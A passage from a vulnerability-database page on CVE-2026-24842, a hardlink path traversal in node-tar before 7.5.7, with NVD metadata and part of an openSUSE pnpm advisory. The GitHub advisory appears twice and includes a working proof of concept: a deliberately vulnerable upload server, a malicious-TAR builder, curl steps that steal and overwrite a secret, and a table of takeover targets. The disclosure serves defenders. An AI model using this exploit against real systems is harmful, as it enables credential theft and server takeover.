"value": "node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue."
},
{
"lang": "es",
"value": "node-tar, un Tar para Node.js, contiene una vulnerabilidad en versiones anteriores a la 7.5.7 donde la comprobaci\u00f3n de seguridad para las entradas de enlaces duros utiliza sem\u00e1nticas de resoluci\u00f3n de rutas diferentes a la l\u00f3gica real de creaci\u00f3n de enlaces duros. Esta discrepancia permite a un atacante crear un archivo TAR malicioso que omite las protecciones de salto de ruta y crea enlaces duros a archivos arbitrarios fuera del directorio de extracci\u00f3n. La versi\u00f3n 7.5.7 contiene una soluci\u00f3n para el problema."
}
],
"id": "CVE-2026-24842",
"lastModified": "2026-07-15T02:18:51.517",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 4.7,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 4.7,
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-24842",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-28T14:55:08.552380Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-01-28T01:16:14.947",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:18480"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:18868"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:5447"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:6192"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/security/cve/CVE-2026-24842"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24842.json"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-22"
},
{
"lang": "en",
"value": "CWE-59"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"description": [
{
"lang": "en",
"value": "CWE-59"
}
],
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"type": "Secondary"
}
]
}
GHSA-34X7-HFP2-RC4V
Vulnerability from github – Published: 2026-01-28 16:35 – Updated: 2026-01-28 16:35
VLAI
Summary
node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal
Details
Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details
The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
-
Security check resolves the linkpath relative to the entry's parent directory:
a/b/c/d/ + ../../../../etc/passwd=etc/passwd. No../prefix, so it passes. -
Hardlink creation resolves the linkpath relative to the extraction directory (
this.cwd):/var/app/uploads/ + ../../../../etc/passwd=/etc/passwd. This escapes to the system's/etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC
Setup
Create a new directory with these files:
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|---|---|---|
| SSH Access | ~/.ssh/authorized_keys |
Direct shell access to server |
| Cron Backdoor | /etc/cron.d/*, ~/.crontab |
Persistent code execution |
| Shell RC Files | ~/.bashrc, ~/.profile |
Code execution on user login |
| Web App Backdoor | Application .js, .php, .py files |
Immediate RCE via web requests |
| Systemd Services | /etc/systemd/system/*.service |
Code execution on service restart |
| User Creation | /etc/passwd (if running as root) |
Add new privileged user |
Data Exfiltration & Corruption
- Overwrite arbitrary files via hardlink escape + subsequent write operations
- Read sensitive files by creating hardlinks that point outside extraction directory
- Corrupt databases and application state
- Steal credentials from config files,
.env, secrets
Severity
8.2 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24842"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-28T16:35:31Z",
"nvd_published_at": "2026-01-28T01:16:14Z",
"severity": "HIGH"
},
"details": "### Summary\nnode-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.\n\n### Details\nThe vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:\n\n**Security check in `[STRIPABSOLUTEPATH]`:**\n```javascript\nconst entryDir = path.posix.dirname(entry.path);\nconst resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));\nif (resolved.startsWith(\u0027../\u0027)) { /* block */ }\n```\n\n**Hardlink creation in `[HARDLINK]`:**\n```javascript\nconst linkpath = path.resolve(this.cwd, entry.linkpath);\nfs.linkSync(linkpath, dest);\n```\n\n**Example:** An application extracts a TAR using `tar.extract({ cwd: \u0027/var/app/uploads/\u0027 })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.\n\n- **Security check** resolves the linkpath relative to the entry\u0027s parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.\n\n- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system\u0027s `/etc/passwd`.\n\nThe security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.\n\n### PoC\n#### Setup\n\nCreate a new directory with these files:\n\n```\npoc/\n\u251c\u2500\u2500 package.json\n\u251c\u2500\u2500 secret.txt \u2190 sensitive file (target)\n\u251c\u2500\u2500 server.js \u2190 vulnerable server\n\u251c\u2500\u2500 create-malicious-tar.js\n\u251c\u2500\u2500 verify.js\n\u2514\u2500\u2500 uploads/ \u2190 created automatically by server.js\n \u2514\u2500\u2500 (extracted files go here)\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"tar\": \"^7.5.0\" } }\n```\n\n**secret.txt** (sensitive file outside uploads/)\n```\nDATABASE_PASSWORD=supersecret123\n```\n\n**server.js** (vulnerable file upload server)\n```javascript\nconst http = require(\u0027http\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst tar = require(\u0027tar\u0027);\n\nconst PORT = 3000;\nconst UPLOAD_DIR = path.join(__dirname, \u0027uploads\u0027);\nfs.mkdirSync(UPLOAD_DIR, { recursive: true });\n\nhttp.createServer((req, res) =\u003e {\n if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/upload\u0027) {\n const chunks = [];\n req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n req.on(\u0027end\u0027, async () =\u003e {\n fs.writeFileSync(path.join(UPLOAD_DIR, \u0027upload.tar\u0027), Buffer.concat(chunks));\n await tar.extract({ file: path.join(UPLOAD_DIR, \u0027upload.tar\u0027), cwd: UPLOAD_DIR });\n res.end(\u0027Extracted\\n\u0027);\n });\n } else if (req.method === \u0027GET\u0027 \u0026\u0026 req.url === \u0027/read\u0027) {\n // Simulates app serving extracted files (e.g., file download, static assets)\n const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n if (fs.existsSync(targetPath)) {\n res.end(fs.readFileSync(targetPath));\n } else {\n res.end(\u0027File not found\\n\u0027);\n }\n } else if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/write\u0027) {\n // Simulates app writing to extracted file (e.g., config update, log append)\n const chunks = [];\n req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n req.on(\u0027end\u0027, () =\u003e {\n const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n if (fs.existsSync(targetPath)) {\n fs.writeFileSync(targetPath, Buffer.concat(chunks));\n res.end(\u0027Written\\n\u0027);\n } else {\n res.end(\u0027File not found\\n\u0027);\n }\n });\n } else {\n res.end(\u0027POST /upload, GET /read, or POST /write\\n\u0027);\n }\n}).listen(PORT, () =\u003e console.log(`http://localhost:${PORT}`));\n```\n\n**create-malicious-tar.js** (attacker creates exploit TAR)\n```javascript\nconst fs = require(\u0027fs\u0027);\n\nfunction tarHeader(name, type, linkpath = \u0027\u0027, size = 0) {\n const b = Buffer.alloc(512, 0);\n b.write(name, 0); b.write(\u00270000644\u0027, 100); b.write(\u00270000000\u0027, 108);\n b.write(\u00270000000\u0027, 116); b.write(size.toString(8).padStart(11, \u00270\u0027), 124);\n b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, \u00270\u0027), 136);\n b.write(\u0027 \u0027, 148);\n b[156] = type === \u0027dir\u0027 ? 53 : type === \u0027link\u0027 ? 49 : 48;\n if (linkpath) b.write(linkpath, 157);\n b.write(\u0027ustar\\x00\u0027, 257); b.write(\u002700\u0027, 263);\n let sum = 0; for (let i = 0; i \u003c 512; i++) sum += b[i];\n b.write(sum.toString(8).padStart(6, \u00270\u0027) + \u0027\\x00 \u0027, 148);\n return b;\n}\n\n// Hardlink escapes to parent directory\u0027s secret.txt\nfs.writeFileSync(\u0027malicious.tar\u0027, Buffer.concat([\n tarHeader(\u0027d/\u0027, \u0027dir\u0027),\n tarHeader(\u0027d/x\u0027, \u0027link\u0027, \u0027../secret.txt\u0027),\n Buffer.alloc(1024)\n]));\nconsole.log(\u0027Created malicious.tar\u0027);\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\necho \"DATABASE_PASSWORD=supersecret123\" \u003e secret.txt\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Execute attack\nnode create-malicious-tar.js\ncurl -X POST --data-binary @malicious.tar http://localhost:3000/upload\n\n# READ ATTACK: Steal secret.txt content via the hardlink\ncurl http://localhost:3000/read\n# Returns: DATABASE_PASSWORD=supersecret123\n\n# WRITE ATTACK: Overwrite secret.txt through the hardlink\ncurl -X POST -d \"PWNED\" http://localhost:3000/write\n\n# Confirm secret.txt was modified\ncat secret.txt\n```\n### Impact\n\nAn attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:\n\n**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.\n\n**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.\n\n### Remote Code Execution / Server Takeover\n\n| Attack Vector | Target File | Result |\n|--------------|-------------|--------|\n| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |\n| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |\n| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |\n| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |\n| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |\n| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |\n\n## Data Exfiltration \u0026 Corruption\n\n1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations\n2. **Read sensitive files** by creating hardlinks that point outside extraction directory\n3. **Corrupt databases** and application state\n4. **Steal credentials** from config files, `.env`, secrets",
"id": "GHSA-34x7-hfp2-rc4v",
"modified": "2026-01-28T16:35:31Z",
"published": "2026-01-28T16:35:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal"
}
OPENSUSE-SU-2026:10410-1
Vulnerability from csaf_opensuse - Published: 2026-03-23 00:00 - Updated: 2026-03-23 00:00Summary
pnpm-10.32.1-1.1 on GA media
Severity
Moderate
Notes
Title of the patch: pnpm-10.32.1-1.1 on GA media
Description of the patch: These are all security issues fixed in the pnpm-10.32.1-1.1 package on the GA media of openSUSE Tumbleweed.
Patchnames: openSUSE-Tumbleweed-2026-10410
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
7.5 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:pnpm-10.32.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-10.32.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-10.32.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-10.32.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
References
5 references
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "pnpm-10.32.1-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the pnpm-10.32.1-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-10410",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10410-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-24842 page",
"url": "https://www.suse.com/security/cve/CVE-2026-24842/"
}
],
"title": "pnpm-10.32.1-1.1 on GA media",
"tracking": {
"current_release_date": "2026-03-23T00:00:00Z",
"generator": {
"date": "2026-03-23T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:10410-1",
"initial_release_date": "2026-03-23T00:00:00Z",
"revision_history": [
{
"date": "2026-03-23T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "pnpm-10.32.1-1.1.aarch64",
"product": {
"name": "pnpm-10.32.1-1.1.aarch64",
"product_id": "pnpm-10.32.1-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "pnpm-bash-completion-10.32.1-1.1.aarch64",
"product": {
"name": "pnpm-bash-completion-10.32.1-1.1.aarch64",
"product_id": "pnpm-bash-completion-10.32.1-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "pnpm-fish-completion-10.32.1-1.1.aarch64",
"product": {
"name": "pnpm-fish-completion-10.32.1-1.1.aarch64",
"product_id": "pnpm-fish-completion-10.32.1-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "pnpm-zsh-completion-10.32.1-1.1.aarch64",
"product": {
"name": "pnpm-zsh-completion-10.32.1-1.1.aarch64",
"product_id": "pnpm-zsh-completion-10.32.1-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "pnpm-10.32.1-1.1.ppc64le",
"product": {
"name": "pnpm-10.32.1-1.1.ppc64le",
"product_id": "pnpm-10.32.1-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "pnpm-bash-completion-10.32.1-1.1.ppc64le",
"product": {
"name": "pnpm-bash-completion-10.32.1-1.1.ppc64le",
"product_id": "pnpm-bash-completion-10.32.1-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "pnpm-fish-completion-10.32.1-1.1.ppc64le",
"product": {
"name": "pnpm-fish-completion-10.32.1-1.1.ppc64le",
"product_id": "pnpm-fish-completion-10.32.1-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "pnpm-zsh-completion-10.32.1-1.1.ppc64le",
"product": {
"name": "pnpm-zsh-completion-10.32.1-1.1.ppc64le",
"product_id": "pnpm-zsh-completion-10.32.1-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "pnpm-10.32.1-1.1.s390x",
"product": {
"name": "pnpm-10.32.1-1.1.s390x",
"product_id": "pnpm-10.32.1-1.1.s390x"
}
},
{
"category": "product_version",
"name": "pnpm-bash-completion-10.32.1-1.1.s390x",
"product": {
"name": "pnpm-bash-completion-10.32.1-1.1.s390x",
"product_id": "pnpm-bash-completion-10.32.1-1.1.s390x"
}
},
{
"category": "product_version",
"name": "pnpm-fish-completion-10.32.1-1.1.s390x",
"product": {
"name": "pnpm-fish-completion-10.32.1-1.1.s390x",
"product_id": "pnpm-fish-completion-10.32.1-1.1.s390x"
}
},
{
"category": "product_version",
"name": "pnpm-zsh-completion-10.32.1-1.1.s390x",
"product": {
"name": "pnpm-zsh-completion-10.32.1-1.1.s390x",
"product_id": "pnpm-zsh-completion-10.32.1-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "pnpm-10.32.1-1.1.x86_64",
"product": {
"name": "pnpm-10.32.1-1.1.x86_64",
"product_id": "pnpm-10.32.1-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "pnpm-bash-completion-10.32.1-1.1.x86_64",
"product": {
"name": "pnpm-bash-completion-10.32.1-1.1.x86_64",
"product_id": "pnpm-bash-completion-10.32.1-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "pnpm-fish-completion-10.32.1-1.1.x86_64",
"product": {
"name": "pnpm-fish-completion-10.32.1-1.1.x86_64",
"product_id": "pnpm-fish-completion-10.32.1-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "pnpm-zsh-completion-10.32.1-1.1.x86_64",
"product": {
"name": "pnpm-zsh-completion-10.32.1-1.1.x86_64",
"product_id": "pnpm-zsh-completion-10.32.1-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-10.32.1-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-10.32.1-1.1.aarch64"
},
"product_reference": "pnpm-10.32.1-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-10.32.1-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-10.32.1-1.1.ppc64le"
},
"product_reference": "pnpm-10.32.1-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-10.32.1-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-10.32.1-1.1.s390x"
},
"product_reference": "pnpm-10.32.1-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-10.32.1-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-10.32.1-1.1.x86_64"
},
"product_reference": "pnpm-10.32.1-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-bash-completion-10.32.1-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.aarch64"
},
"product_reference": "pnpm-bash-completion-10.32.1-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-bash-completion-10.32.1-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.ppc64le"
},
"product_reference": "pnpm-bash-completion-10.32.1-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-bash-completion-10.32.1-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.s390x"
},
"product_reference": "pnpm-bash-completion-10.32.1-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-bash-completion-10.32.1-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.x86_64"
},
"product_reference": "pnpm-bash-completion-10.32.1-1.1.x86_64",
